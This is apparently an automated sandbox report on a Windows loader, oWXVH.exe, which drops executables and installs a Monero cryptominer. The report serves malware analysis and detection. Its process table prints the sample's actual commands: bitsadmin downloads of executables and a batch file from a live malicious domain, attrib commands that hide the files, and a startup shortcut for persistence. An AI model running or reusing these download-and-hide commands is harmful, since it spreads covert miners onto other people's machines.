| File name: | oWXVH.exe |
| Full analysis: | https://app.any.run/tasks/5cd8dcb4-e7aa-49b3-8c58-0542a724a15d |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | December 06, 2018, 11:44:05 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | DFAFD55BC9A0E84EAFADA04A5F21AEAD |
| SHA1: | 3D62502DAF3258B03B2B14675CB06B36505D556A |
| SHA256: | D2BEB64F3F736D59B7511D3BD5EBF037208D06D67C92A46B0822AFC5779603BF |
| SSDEEP: | 49152:ZoNuk/YMnxvICGw2uj/5Da4UrY6tJ+uj70BQHcSX4rHO0:SgkphIC1tj/5Dahh/j3pn0 |
MALICIOUS
Application was dropped or rewritten from another process
- windows.exe (PID: 2836)
- windows.exe (PID: 2612)
- Security.exe (PID: 4028)
- system.exe (PID: 3204)
Writes to a start menu file
- windows.exe (PID: 2612)
Uses BITADMIN.EXE for downloading application
- cmd.exe (PID: 3128)
- cmd.exe (PID: 3212)
- cmd.exe (PID: 3316)
Looks like application has launched a miner
- cmd.exe (PID: 2856)
MINER was detected
- system.exe (PID: 3204)
Connects to CnC server
- system.exe (PID: 3204)
SUSPICIOUS
Executable content was dropped or overwritten
- windows.exe (PID: 2836)
- oWXVH.exe (PID: 3160)
- windows.exe (PID: 2612)
Creates files in the program directory
- windows.exe (PID: 2612)
Creates files in the user directory
- windows.exe (PID: 2612)
Starts CMD.EXE for commands execution
- windows.exe (PID: 2612)
- Security.exe (PID: 4028)
Uses ATTRIB.EXE to modify file attributes
- cmd.exe (PID: 2856)
Connects to unusual port
- system.exe (PID: 3204)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable (generic) (52.9) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (23.5) |
| .exe | | | DOS Executable Generic (23.5) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2016:08:14 21:15:54+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 14 |
| CodeSize: | 135168 |
| InitializedDataSize: | 72704 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xfce7 |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 14-Aug-2016 19:15:54 |
| Debug artifacts: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000118 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 6 |
| Time date stamp: | 14-Aug-2016 19:15:54 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x00020F77 | 0x00021000 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.62162 |
.rdata | 0x00022000 | 0x00008FD4 | 0x00009000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.13549 |
.data | 0x0002B000 | 0x0002D370 | 0x00000C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 2.7652 |
.gfids | 0x00059000 | 0x000000FC | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 2.16316 |
.rsrc | 0x0005A000 | 0x000059DF | 0x00005A00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.75176 |
.reloc | 0x00060000 | 0x00002354 | 0x00002400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.69514 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.25329 | 1875 | Latin 1 / Western European | UNKNOWN | RT_MANIFEST |
7 | 3.66634 | 508 | Latin 1 / Western European | UNKNOWN | RT_STRING |
8 | 3.71728 | 582 | Latin 1 / Western European | UNKNOWN | RT_STRING |
9 | 3.74776 | 476 | Latin 1 / Western European | UNKNOWN | RT_STRING |
10 | 3.55807 | 220 | Latin 1 / Western European | UNKNOWN | RT_STRING |
11 | 3.90128 | 1128 | Latin 1 / Western European | UNKNOWN | RT_STRING |
12 | 3.68258 | 356 | Latin 1 / Western European | UNKNOWN | RT_STRING |
13 | 3.54875 | 228 | Latin 1 / Western European | UNKNOWN | RT_STRING |
14 | 3.52809 | 250 | Latin 1 / Western European | UNKNOWN | RT_STRING |
15 | 3.4037 | 232 | Latin 1 / Western European | UNKNOWN | RT_STRING |
Imports
COMCTL32.dll (delay-loaded) |
KERNEL32.dll |
Total processes
49
Monitored processes
15
Malicious processes
6
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2500 | attrib +s +h C:\ProgramData\System32 | C:\Windows\system32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Attribute Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2528 | bitsadmin /transfer /download /priority high "http://porntovirt.ru/075/system.exe" "C:\ProgramData\System32\system.exe" | C:\Windows\system32\bitsadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2612 | "C:\Users\admin\AppData\Local\Temp\RarSFX1\windows.exe" | C:\Users\admin\AppData\Local\Temp\RarSFX1\windows.exe | windows.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: SoftPortal Exit code: 0 Version: 1.1.0.0 Modules
| |||||||||||||||
| 2656 | bitsadmin /transfer /download /priority high "http://porntovirt.ru/075/1.bat" "C:\ProgramData\System32\1.bat" | C:\Windows\system32\bitsadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2808 | attrib +s +h C:\ProgramData\System32\*.* | C:\Windows\system32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Attribute Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2836 | "C:\Users\admin\AppData\Local\Temp\RarSFX0\windows.exe" -p123 | C:\Users\admin\AppData\Local\Temp\RarSFX0\windows.exe | oWXVH.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2856 | C:\Windows\system32\cmd.exe /c C:\ProgramData\System32\1.bat | C:\Windows\system32\cmd.exe | — | Security.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3128 | C:\Windows\system32\cmd.exe /c bitsadmin /transfer /download /priority high "http://porntovirt.ru/075/system.exe" "C:\ProgramData\System32\system.exe" | C:\Windows\system32\cmd.exe | — | Security.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3136 | C:\Windows\system32\cmd.exe /c start C:\ProgramData\System32\Security.exe | C:\Windows\system32\cmd.exe | — | windows.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3136 | bitsadmin /transfer /download /priority high "http://porntovirt.ru/075/Security.exe" "C:\ProgramData\System32\Security.exe" | C:\Windows\system32\bitsadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 2147942432 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
957
Read events
939
Write events
18
Delete events
0
Modification events
| (PID) Process: | (3160) oWXVH.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (3160) oWXVH.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2836) windows.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2836) windows.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2612) windows.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
Executable files
4
Suspicious files
0
Text files
1
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2612 | windows.exe | C:\Users\admin\AppData\Local\Temp\aut7F23.tmp | — | |
MD5:— | SHA256:— | |||
| 2612 | windows.exe | C:\Users\admin\AppData\Local\Temp\aut7F34.tmp | — | |
MD5:— | SHA256:— | |||
| 2612 | windows.exe | C:\Users\admin\AppData\Local\Temp\aut7F83.tmp | — | |
MD5:— | SHA256:— | |||
| 2612 | windows.exe | C:\ProgramData\System32\1.bat | text | |
MD5:— | SHA256:— | |||
| 2612 | windows.exe | C:\ProgramData\System32\Security.exe | executable | |
MD5:— | SHA256:— | |||
| 2612 | windows.exe | C:\ProgramData\System32\system.exe | executable | |
MD5:— | SHA256:— | |||
| 2612 | windows.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Security.lnk | lnk | |
MD5:— | SHA256:— | |||
| 3160 | oWXVH.exe | C:\Users\admin\AppData\Local\Temp\RarSFX0\windows.exe | executable | |
MD5:— | SHA256:— | |||
| 2836 | windows.exe | C:\Users\admin\AppData\Local\Temp\RarSFX1\windows.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
3
Threats
9
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2612 | windows.exe | 88.99.66.31:443 | iplogger.com | Hetzner Online GmbH | DE | malicious |
3204 | system.exe | 94.130.64.225:45560 | xmr.pool.minergate.com | Hetzner Online GmbH | DE | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
iplogger.com |
| shared |
porntovirt.ru |
| unknown |
xmr.pool.minergate.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1060 | svchost.exe | A Network Trojan was detected | ET POLICY Monero Mining Pool DNS Lookup |
3204 | system.exe | Potential Corporate Privacy Violation | ET POLICY Cryptocurrency Miner Checkin |
3204 | system.exe | Misc activity | MINER [PTsecurity] CoinMiner CryptoNight XMRig JSON_RPC Client Login |
3204 | system.exe | Misc activity | MINER [PTsecurity] Riskware/CoinMiner JSON_RPC Response |
3204 | system.exe | Misc activity | MINER [PTsecurity] Risktool.W32.coinminer!c |
3204 | system.exe | Misc activity | MINER [PTsecurity] Riskware/CoinMiner JSON_RPC Response |
3204 | system.exe | Misc activity | MINER [PTsecurity] Risktool.W32.coinminer!c |
2 ETPRO signatures available at the full report